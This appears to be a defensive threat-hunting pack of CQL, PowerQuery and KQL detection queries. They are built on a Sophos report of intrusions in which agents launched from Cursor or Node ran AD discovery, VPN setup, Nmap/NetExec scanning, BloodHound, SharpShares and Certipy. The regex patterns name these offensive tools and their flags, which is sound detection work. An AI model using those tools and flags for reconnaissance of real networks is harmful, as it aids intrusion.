// HUNT: Cursor or Node parent launching Active Directory discovery commands // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1087.002, T1069.002, T1482, T1018 // CONF: medium | FP: medium // FALSE POSITIVES: developers and AD engineers using Cursor terminals; authorized red team activity // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a Cursor or Node creator process spawning a directory-discovery command. The creator is InitiatingProcessFileName and the created process is FileName. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude named AD engineering accounts and developer VDI device groups; keep servers and jump boxes. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A discovery command launched by a grandchild of the editor (for example through a shell) is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where InitiatingProcessFileName matches regex @"(?i)^(cursor|node)(\.exe)?$" | where ProcessCommandLine matches regex @"(?i)(nltest|setspn|dsquery|klist|net1?\s+(group|user|accounts|view)|Get-AD(User|Computer|Group|Trust|Domain)|adfind|whoami\s+/(all|groups))" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Sophos, citing Gambit, says the agents installed and configured a VPN client and connected to the victim network with supplied credentials. This finds VPN client tooling started from a shell, script interpreter or editor process on a host. The VPN products listed are generic examples, not a Sophos-published list. FP: Admins install VPN clients on servers during planned work, and endpoint management tools do it at scale. Exclude your deployment tools as parents.
Known limitations and deployment notes
- PowerQuery: Scoping to server host groups is left to the analyst; the query returns workstations too.
- PowerQuery assumes: On a Process Creation event src.process.name is the creator process.
- PowerQuery assumes: contains and matches are case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: Scoping to server device groups is left to the analyst; the query returns workstations too.
- KQL – Defender XDR assumes: InitiatingProcessFileName is the direct creator of the process.
// HUNT: VPN client installed or configured on a server by an unexpected parent // MITRE: T1133, T1572 // CONF: medium // FP: medium // COST: low // REQUIRES: Process creation with parent and command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: planned VPN client rollouts; helpdesk remote installs // TUNING: exclude deployment parents (CcmExec, ccmsetup, IntuneManagementExtension) and approved VPN vendors; alert only on server host groups #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/(openvpn|wireguard|wg-quick|tailscale|openconnect|forticlient|anyconnect|nordvpn|protonvpn)/i | ParentBaseFileName=/^(cmd|powershell|pwsh|bash|sh|zsh|node|python3?|cursor|msiexec|winget|choco)(\.exe)?$/i | ParentBaseFileName!=/^(CcmExec|ccmsetup|IntuneManagementExtension)(\.exe)?$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typesrc.process.name: Creator process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.user: Creator user
Readiness test
event.type = 'Process Creation' src.process.name = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.name, tgt.process.cmdline
// HUNT: VPN client installed or configured on a server by an unexpected parent
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1133, T1572
// CONF: medium | FP: medium
// FALSE POSITIVES: planned VPN client rollouts; helpdesk remote installs
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a VPN client name in the command line, launched by one of the listed shells, installers or interpreters, excluding the deployment agents. The creator is src.process.* on a Process Creation event.
// REQUIRES: SentinelOne process-creation telemetry with creator name and command line
// TUNING: Exclude deployment parents and approved VPN vendors; alert only on server host groups.
// LOOKBACK: 7d; set in the console time picker
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: Scoping to server host groups is left to the analyst; the query returns workstations too.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and tgt.process.cmdline contains ('openvpn', 'wireguard', 'wg-quick', 'tailscale', 'openconnect', 'forticlient', 'anyconnect', 'nordvpn', 'protonvpn') and src.process.name matches '^(cmd|powershell|pwsh|bash|sh|zsh|node|python3?|cursor|msiexec|winget|choco)(\\.exe)?$' and !(src.process.name matches '^(CcmExec|ccmsetup|IntuneManagementExtension)(\\.exe)?$')
| columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeInitiatingProcessFileName: Creator process nameProcessCommandLine: Created command line
Recommended fields
FileName: Created process name
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, InitiatingProcessFileName, FileName, ProcessCommandLine | take 5
// HUNT: VPN client installed or configured on a server by an unexpected parent // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1133, T1572 // CONF: medium | FP: medium // FALSE POSITIVES: planned VPN client rollouts; helpdesk remote installs // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a VPN client name in the command line, launched by one of the listed shells, installers or interpreters, excluding the deployment agents. The creator is InitiatingProcessFileName. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude deployment parents and approved VPN vendors; alert only on server device groups. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Scoping to server device groups is left to the analyst; the query returns workstations too. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where ProcessCommandLine matches regex @"(?i)(openvpn|wireguard|wg-quick|tailscale|openconnect|forticlient|anyconnect|nordvpn|protonvpn)" | where InitiatingProcessFileName matches regex @"(?i)^(cmd|powershell|pwsh|bash|sh|zsh|node|python3?|cursor|msiexec|winget|choco)(\.exe)?$" | where not(InitiatingProcessFileName matches regex @"(?i)^(CcmExec|ccmsetup|IntuneManagementExtension)(\.exe)?$") | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Execution of Nmap or NetExec (nxc), the tools Sophos names for scanning internal subnets. Both are legitimate security tools, so this is detect-only and needs a context check on who ran it and from where. FP: Vulnerability management scanners, network engineers and authorized pentests run Nmap. NetExec is almost always an offensive-testing tool, so hits deserve a call.
Known limitations and deployment notes
- PowerQuery: A renamed binary run without scan flags in its command line is not matched, the same as the CQL tab.
- PowerQuery assumes: tgt.process.name is the created process name.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A renamed binary run without scan flags in its command line is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: FileName holds the created process name.
// HUNT: Nmap and NetExec execution // MITRE: T1046, T1018, T1135 // CONF: high // FP: medium // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: approved vulnerability scanners; network engineering; authorized pentests // TUNING: exclude the scanner hosts on your change calendar; require a change ticket for any other hit #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(nmap|ncat|nxc|netexec|crackmapexec)(\.exe)?$/i or CommandLine=/\b(nxc|netexec)(\.exe)?\s+(smb|ldap|winrm|mssql|rdp|ssh|wmi|ftp|vnc)\b/i or CommandLine=/\bnmap(\.exe)?\s+.*(-sS|-sT|-sV|-sn|-Pn|-p-|--top-ports|-p\s?[0-9,-]+)/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: Nmap and NetExec execution // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1046, T1018, T1135 // CONF: high | FP: medium // FALSE POSITIVES: approved vulnerability scanners; network engineering; authorized pentests // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a scanner tool name, a NetExec protocol invocation, or an Nmap scan-flag invocation. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude the scanner hosts on your change calendar; require a change ticket for any other hit. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed binary run without scan flags in its command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and (tgt.process.name matches '^(nmap|ncat|nxc|netexec|crackmapexec)(\\.exe)?$' or tgt.process.cmdline matches '.*\\b(nxc|netexec)(\\.exe)?\\s+(smb|ldap|winrm|mssql|rdp|ssh|wmi|ftp|vnc)\\b.*' or tgt.process.cmdline matches '.*\\bnmap(\\.exe)?\\s+.*(-sS|-sT|-sV|-sn|-Pn|-p-|--top-ports|-p\\s?[0-9,-]+).*') | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: Nmap and NetExec execution // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1046, T1018, T1135 // CONF: high | FP: medium // FALSE POSITIVES: approved vulnerability scanners; network engineering; authorized pentests // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a scanner tool name, a NetExec protocol invocation, or an Nmap scan-flag invocation. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude the scanner devices on your change calendar; require a change ticket for any other hit. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed binary run without scan flags in its command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^(nmap|ncat|nxc|netexec|crackmapexec)(\.exe)?$" or ProcessCommandLine matches regex @"(?i)\b(nxc|netexec)(\.exe)?\s+(smb|ldap|winrm|mssql|rdp|ssh|wmi|ftp|vnc)\b" or ProcessCommandLine matches regex @"(?i)\bnmap(\.exe)?\s+.*(-sS|-sT|-sV|-sn|-Pn|-p-|--top-ports|-p\s?[0-9,-]+)" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Behavioural scan detection that does not depend on a tool name: a single process connecting to a large number of distinct private addresses on SMB, LDAP, Kerberos, RPC, RDP, WinRM, SQL or SSH ports. The threshold of 50 is a starting point to tune. FP: Vulnerability scanners, asset inventory agents, backup software and domain controllers talking to many hosts.
Known limitations and deployment notes
- PowerQuery: The distinct-host count is an estimate rather than an exact count.
- PowerQuery assumes: On an IP Connect event the connecting process is src.process.*.
- PowerQuery assumes: estimate_distinct is an estimate, so a count near the threshold of 50 may differ slightly from the exact CQL count.
- KQL – Defender XDR: dcount is an estimate, so a count near the threshold of 50 may differ slightly from the exact CQL count.
- KQL – Defender XDR assumes: Connection attempts of every ActionType count, including failures; a scanner probing closed ports is meant to be caught.
// HUNT: One process fanning out to many internal hosts on AD and admin ports // MITRE: T1046, T1018, T1021 // CONF: medium // FP: medium // COST: high // REQUIRES: Network connection telemetry (CrowdStrike: NetworkConnectIP4) // FALSE POSITIVES: scanners, backup and monitoring agents, DCs, file-server migrations // TUNING: exclude the process names of scanners and backup agents and your domain controllers; raise the threshold on busy servers #event_simpleName=NetworkConnectIP4 | in(field=RemotePort, values=[445, 389, 636, 88, 135, 3389, 5985, 1433, 22]) | cidr(RemoteAddressIP4, subnet=["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]) | groupBy([aid, ComputerName, ContextBaseFileName], function=[count(RemoteAddressIP4, distinct=true, as=DistinctHosts), count(RemotePort, distinct=true, as=DistinctPorts), count(as=Connections), min(@timestamp, as=FirstSeen)], limit=500) | test(DistinctHosts >= 50) | sort(DistinctHosts, order=desc, limit=100)
6 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.time: Event timeevent.type: Event typedst.port.number: Destination portdst.ip.address: Destination addressagent.uuid: Endpoint identifiersrc.process.name: Connecting process
Recommended fields
endpoint.name: Host
Readiness test
event.type = 'IP Connect' dst.ip.address = * | limit 5 | columns event.time, event.type, agent.uuid, endpoint.name, src.process.name, dst.ip.address, dst.port.number
// HUNT: One process fanning out to many internal hosts on AD and admin ports // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1046, T1018, T1021 // CONF: medium | FP: medium // FALSE POSITIVES: scanners, backup and monitoring agents, DCs, file-server migrations // EQUIVALENCE: equivalent-with-schema-assumptions - Same network predicate: one process connecting to at least 50 distinct private addresses on the listed directory and admin ports, grouped per endpoint and process name. The private ranges are tested with the subnet function. // REQUIRES: SentinelOne network telemetry (event type IP Connect) // TUNING: Exclude the process names of scanners and backup agents and your domain controllers; raise the threshold on busy servers. // LOOKBACK: 1d; a short window keeps the distinct count meaningful // CONFIGURATION: No lookup objects required. // KNOWN GAPS: The distinct-host count is an estimate rather than an exact count. // VALIDATION LEVEL: static-reviewed event.type = 'IP Connect' and dst.port.number in (445, 389, 636, 88, 135, 3389, 5985, 1433, 22) | filter net_ipsubnet(dst.ip.address, '10.0.0.0/8') or net_ipsubnet(dst.ip.address, '172.16.0.0/12') or net_ipsubnet(dst.ip.address, '192.168.0.0/16') | group distinct_hosts=estimate_distinct(dst.ip.address), distinct_ports=estimate_distinct(dst.port.number), connections=count(), first_seen=min(event.time) by agent.uuid, endpoint.name, src.process.name | filter distinct_hosts >= 50 | sort -distinct_hosts | limit 100
Automated validation: static-passed
5 required fields · View requirements
Required telemetry
- DeviceNetworkEvents
Required fields
Timestamp: Event timeRemotePort: Remote portRemoteIP: Remote addressDeviceId: Device identifierInitiatingProcessFileName: Connecting process
Recommended fields
DeviceName: Device
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceNetworkEvents | where Timestamp > ago(1d) | project Timestamp, DeviceId, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort | take 5
// HUNT: One process fanning out to many internal hosts on AD and admin ports // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1046, T1018, T1021 // CONF: medium | FP: medium // FALSE POSITIVES: scanners, backup and monitoring agents, DCs, file-server migrations // EQUIVALENCE: equivalent-with-schema-assumptions - Same network predicate: one process connecting to at least 50 distinct private addresses on the listed directory and admin ports, grouped per device and process name. // REQUIRES: Defender for Endpoint network telemetry (DeviceNetworkEvents) // TUNING: Exclude the process names of scanners and backup agents and your domain controllers; raise the threshold on busy servers. // LOOKBACK: 7d; narrow to 1d on busy estates to keep the distinct count meaningful // CONFIGURATION: No lookup objects required. // KNOWN GAPS: dcount is an estimate, so a count near the threshold of 50 may differ slightly from the exact CQL count. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceNetworkEvents | where Timestamp >= ago(7d) | where RemotePort in (445, 389, 636, 88, 135, 3389, 5985, 1433, 22) | where ipv4_is_in_range(RemoteIP, "10.0.0.0/8") or ipv4_is_in_range(RemoteIP, "172.16.0.0/12") or ipv4_is_in_range(RemoteIP, "192.168.0.0/16") | summarize DistinctHosts = dcount(RemoteIP), DistinctPorts = dcount(RemotePort), Connections = count(), FirstSeen = min(Timestamp) by DeviceId, DeviceName, InitiatingProcessFileName | where DistinctHosts >= 50 | sort by DistinctHosts desc | take 100
Looks for: SharpHound, AzureHound, bloodhound-python or Invoke-BloodHound by name or command line. Sophos lists the BloodHound collector among the agents' discovery tools. BloodHound is legitimate for authorized assessment, so this ships detect-only. FP: Low. Authorized red teams and purple-team exercises run it. Defenders mapping their own attack paths do too, so check the change calendar before escalating.
Known limitations and deployment notes
- PowerQuery: A collector that is renamed and run without its usual switches is not matched, the same as the CQL tab.
- PowerQuery assumes: tgt.process.name is the created process name.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A collector that is renamed and run without its usual switches is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: FileName holds the created process name.
// HUNT: BloodHound collector execution // MITRE: T1087.002, T1069.002, T1482 // CONF: high // FP: low // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: authorized red team and internal attack-path assessments // TUNING: exclude the assessment host while an exercise is open #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(sharphound|azurehound)(\.exe)?$/i or CommandLine=/(sharphound|azurehound|bloodhound-python|bloodhound\.py|invoke-bloodhound|--collectionmethod)/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: BloodHound collector execution // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1087.002, T1069.002, T1482 // CONF: high | FP: low // FALSE POSITIVES: authorized red team and internal attack-path assessments // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a collector binary name, or a collector marker anywhere in the command line. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude the assessment host while an exercise is open. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A collector that is renamed and run without its usual switches is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and (tgt.process.name matches '^(sharphound|azurehound)(\\.exe)?$' or tgt.process.cmdline matches '.*(sharphound|azurehound|bloodhound-python|bloodhound\\.py|invoke-bloodhound|--collectionmethod).*') | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: BloodHound collector execution // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1087.002, T1069.002, T1482 // CONF: high | FP: low // FALSE POSITIVES: authorized red team and internal attack-path assessments // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a collector binary name, or a collector marker anywhere in the command line. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude the assessment device while an exercise is open. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A collector that is renamed and run without its usual switches is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^(sharphound|azurehound)(\.exe)?$" or ProcessCommandLine matches regex @"(?i)(sharphound|azurehound|bloodhound-python|bloodhound\.py|invoke-bloodhound|--collectionmethod)" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Zip archives named like the default output of BloodHound collectors (*_BloodHound.zip) and Certipy (*_Certipy.zip). Sophos lists a Certipy output-file countermeasure. The suffixes are the tools' default naming, so a renamed output evades this. The Certipy text and JSON outputs are not covered because they are not an archive event: see the coverage map. FP: Low. Assessment teams generate the same files.
Known limitations and deployment notes
- PowerQuery: Archives that arrive by rename or move rather than by creation are not matched.
- PowerQuery assumes: tgt.file.path holds the full path of the created file.
- PowerQuery assumes: An archive written by renaming or moving an existing file would be a File Modification or rename and is not matched.
- KQL – Defender XDR: Archives that arrive by rename or move rather than by creation are not matched.
- KQL – Defender XDR assumes: FileName holds the name of the created file.
// HUNT: BloodHound and Certipy output archives written to disk // MITRE: T1087.002, T1649 // CONF: medium // FP: low // COST: low // REQUIRES: File write telemetry for archives (CrowdStrike: ZipFileWritten) // FALSE POSITIVES: authorized assessments // TUNING: exclude assessment hosts while an exercise is open #event_simpleName=ZipFileWritten | TargetFileName=/(_BloodHound|_Certipy)\.zip$/i | table([@timestamp, ComputerName, UserName, ContextBaseFileName, TargetFileName], limit=200)
3 required fields · View requirements
Required telemetry
- File Creation
Required fields
event.time: Event timeevent.type: Event typetgt.file.path: Created file path
Recommended fields
endpoint.name: Hostsrc.process.name: Writing process
Readiness test
event.type = 'File Creation' tgt.file.path = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.name, tgt.file.path
// HUNT: BloodHound and Certipy output archives written to disk // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1087.002, T1649 // CONF: medium | FP: low // FALSE POSITIVES: authorized assessments // EQUIVALENCE: approximate-analytic - The CQL reads an archive-written sensor event. The closest SentinelOne event is a File Creation whose target path ends in one of the two output-archive suffixes; the writing process is src.process.* on that event. // REQUIRES: SentinelOne file telemetry (event type File Creation) // TUNING: Exclude assessment hosts while an exercise is open. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Archives that arrive by rename or move rather than by creation are not matched. // VALIDATION LEVEL: static-reviewed event.type = 'File Creation' and tgt.file.path matches '.*(_BloodHound|_Certipy)\\.zip$' | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.file.path | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceFileEvents
Required fields
Timestamp: Event timeActionType: ActionFileName: Created file name
Recommended fields
InitiatingProcessFileName: Writing processFolderPath: Folder
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceFileEvents | where Timestamp > ago(1d) | where ActionType == "FileCreated" | project Timestamp, ActionType, FileName, FolderPath, InitiatingProcessFileName | take 5
// HUNT: BloodHound and Certipy output archives written to disk // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1087.002, T1649 // CONF: medium | FP: low // FALSE POSITIVES: authorized assessments // EQUIVALENCE: approximate-analytic - The CQL reads an archive-written sensor event. The closest Defender signal is a FileCreated row in DeviceFileEvents whose file name ends in one of the two output-archive suffixes. // REQUIRES: Defender for Endpoint file telemetry (DeviceFileEvents) // TUNING: Exclude assessment devices while an exercise is open. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Archives that arrive by rename or move rather than by creation are not matched. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceFileEvents | where Timestamp >= ago(7d) | where ActionType == "FileCreated" | where FileName matches regex @"(?i)(_BloodHound|_Certipy)\.zip$" | project Timestamp, ReportId, DeviceId, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FolderPath, FileName | sort by Timestamp desc | take 200
Looks for: SharpShares by name or command line. Sophos observed one operator doing extensive AD and share enumeration with SharpShares before staging data. It is an open-source offensive tool, so hits are rarely benign outside a tested exercise. FP: Low. Authorized assessments only.
Known limitations and deployment notes
- PowerQuery: A renamed binary with no telltale command line is not matched, the same as the CQL tab.
- PowerQuery assumes: tgt.process.name is the created process name.
- PowerQuery assumes: matches and contains are case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A renamed binary with no telltale command line is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: FileName holds the created process name.
// HUNT: SharpShares share and AD enumeration // MITRE: T1135, T1087.002 // CONF: high // FP: low // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: authorized assessments // TUNING: exclude the assessment host while an exercise is open #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^sharpshares(\.exe)?$/i or CommandLine=/sharpshares/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: SharpShares share and AD enumeration // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1135, T1087.002 // CONF: high | FP: low // FALSE POSITIVES: authorized assessments // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the tool binary name, or its name anywhere in the command line. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude the assessment host while an exercise is open. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed binary with no telltale command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and (tgt.process.name matches '^sharpshares(\\.exe)?$' or tgt.process.cmdline contains 'sharpshares') | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: SharpShares share and AD enumeration // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1135, T1087.002 // CONF: high | FP: low // FALSE POSITIVES: authorized assessments // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the tool binary name, or its name anywhere in the command line. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude the assessment device while an exercise is open. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed binary with no telltale command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^sharpshares(\.exe)?$" or ProcessCommandLine contains "sharpshares" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Commands matching the Taegis countermeasures Sophos lists: enumerating domain trusts over LDAP and enumerating all computers through WMI. This is a command-line proxy for those detections, not a copy of them. FP: Administrators and inventory scripts enumerate trusts and computers. Frequency from a single non-admin account on a server is the signal.
Known limitations and deployment notes
- PowerQuery: Only one sample command line per host and user is returned; the CQL tab lists every command line.
- PowerQuery assumes: src.process.user is the account that ran the creating process.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: The set of command lines is capped at 10 per device and account.
- KQL – Defender XDR assumes: AccountName is the account that ran the created process.
// HUNT: Domain trust and computer enumeration commands // MITRE: T1482, T1018 // CONF: medium // FP: medium // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: AD admins, inventory and migration scripts // TUNING: exclude named AD engineering accounts and inventory service accounts #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/(nltest(\.exe)?\s+.*(domain_trusts|dclist|trusted_domains)|Get-ADTrust|Get-ADComputer\s+-Filter|Win32_ComputerSystem.*(Get-WmiObject|Get-CimInstance)|(Get-WmiObject|Get-CimInstance).*Win32_ComputerSystem)/i | groupBy([ComputerName, UserName], function=[count(as=Commands), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen), collect([CommandLine])], limit=500) | sort(Commands, order=desc, limit=100)
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.cmdline: Created command lineendpoint.name: Hostsrc.process.user: Creator user
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.user, tgt.process.cmdline
